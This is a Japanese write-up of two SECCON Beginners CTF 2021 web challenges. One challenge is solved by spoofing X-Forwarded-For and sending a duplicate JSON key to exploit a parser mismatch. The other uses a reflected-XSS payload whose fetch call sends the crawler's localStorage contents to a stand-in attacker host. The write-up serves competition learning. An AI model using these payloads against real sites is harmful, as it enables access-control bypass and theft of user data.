SECCON Beginners CTF 2021 Writeup (json, magic)

2021/05/22 14:00から24時間開催されたSECCON Beginners CTF 2021にkatagaitaiのメンバーとして参加しました。
Web全完に貢献したので、解いた問題について書きます。

json (Web, 109pt, 204 solved, Medium)

問題

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。

概要

  • X-Forwarded-For ヘッダで接続元アドレスを詐称
  • jsonパーサがAPIサーバとBFFサーバで異なることを発見し、解釈ずれを起こすペイロードを送信

詳細

アクセスすると下記のメッセージが出るようなWebサイトになっている。

Internal Website / 内部ページ
このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。This page can only be viewed from a device within the local network(192.168.111.0/24).

あなたのIPアドレスは"xxx.xxx.xxx.xxx"です。Your IP adress is "xxx.xxx.xxx.xxx".

あなたはこのページを閲覧できません。You are not allowed to view this page.

これはX-Forwarded-Forヘッダで騙せるので curl -H "X-Forwarded-For: 192.168.111.1" すればok。

突破すると、次のようなHTMLとJavascriptコードが手に入る

  <select id="item">
    <option>Quick brown fox</option>
    <option>Lorem ipsum</option>
    <option>Flag</option>
  </select>
let submit = document.getElementById("submit");
let message = document.getElementById("message");
submit.addEventListener("click", (event) => {
message.innerHTML = "";
let xhr = new XMLHttpRequest();
xhr.open("POST", "/");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = () => {
  if (xhr.status === 200) {
    message.innerHTML =
      '<article class="message is-success"><div class="message-header"><p>Success</p></div><div class="message-body">' +
      JSON.parse(xhr.response).result +
      "</div></article>";
  } else {
    message.innerHTML =
      '<article class="message is-danger"><div class="message-header"><p>Error</p></div><div class="message-body">' +
      JSON.parse(xhr.response).error +
      "</div></article>";
  }
};
data = JSON.stringify({
  id: document.getElementById("item").selectedIndex,
});
xhr.send(data);
});

コードを読んでわかる通り、 POST /{"id": 1} のようなjsonを送れば良い。
この問題はidに2を指定するとフラグが抜ける(APIソースより)のだが、BFFのソースコードを読むとidに2を指定すると400が帰ってしまう。

// parse json
var info Info
if err := json.Unmarshal(body, &info); err != nil {
        c.JSON(400, gin.H{"error": "Invalid parameter."})
        return
}

// validation
if info.ID < 0 || info.ID > 2 {
        c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
        return
}

そのため、素直に {"id": 2} を送ると怒られる

{"error":"It is forbidden to retrieve Flag from this BFF server."}

ソースを見ると、BFFはデフォルトのjsonを使っているのに対し、APIはbuger/jsonparserを使っている

id, err := jsonparser.GetInt(body, "id")

本当はこの後詳しくソース解析をしたほうが良いのだが、「多分同じキーを2回つけたら解釈変わるんじゃない?」と思って試したら本当にそうだった。

$ curl -H "X-Forwarded-For: 192.168.111.1" -H "Content-Type: Application/json" -d"{\"id\": 2, \"id\": 0}"  https://json.quals.beginners.seccon.jp/;
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}

magic (Web, 383pt, 31 solved, Hard)

問題

トリックを見破れますか?

概要

  • クローラのローカルストレージを窃取する問題
  • Reflected XSSの脆弱性を発見する

解説

いつものレポート機能でクローラに不正リンクを踏ませる問題。
まずはクローラのコードを見る。

// type FLAG in memo field
await page.type('input[name="text"]', FLAG);
await page.click("h1");

// Oh, a URL has arrived. Let's check it.
// (If you set `login` as path in Report page, admin accesses `https://magic.quals.beginners.seccon.jp/login` here.)
await page.goto(APP_URL + path, {
  waitUntil: "networkidle2",
  timeout: 3000,
});

Javascriptソースを読むと、memoにFLAGを書き込んだ時にlocalStorageに保存されることがわかる。
従ってlocalstorageの値を窃取する攻撃が必要。

お次はいつものCSPチェック。

style-src 'self' ;
script-src 'self' ;
object-src 'none' ;
font-src 'none'

インライン実行は不可能なので、サーバ側にJavascriptファイルをホストさせるかReflected XSSを仕込む必要がありそう。

ソースを探していくと、 /magictoken フィールドに不正な値が入っていると反射してくれることを発見。

$ curl "https://magic.quals.beginners.seccon.jp/magic?token=console.log(1)%3B%2F%2F"
console.log(1);// is invalid token.

やりたいのはlocalStorageのmemoを抜くことなので、 fetch を仕込む。
ちなみに ' や "&#27; や &quot; にされるので適していないため、バックティックを使う。

fetch(`https://your.hosting.domain/?${localStorage.getItem(`memo`)}`)

上記コードを反射させ、さらにスクリプトとして認識するようにした下記のhtmlを自分のホームに投稿し、自分のマジックリンクをreportして待ち構えれば終了。

<script src="https://magic.quals.beginners.seccon.jp/magic?token=fetch%28%60https%3A%2F%2Fyour.hosting.domain%2F%3F%24%7BlocalStorage.getItem%28%60memo%60%29%7D%60%29%3B%2F%2F"></script>
GET /?ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick} HTTP/1.1

コメント

タイトルとURLをコピーしました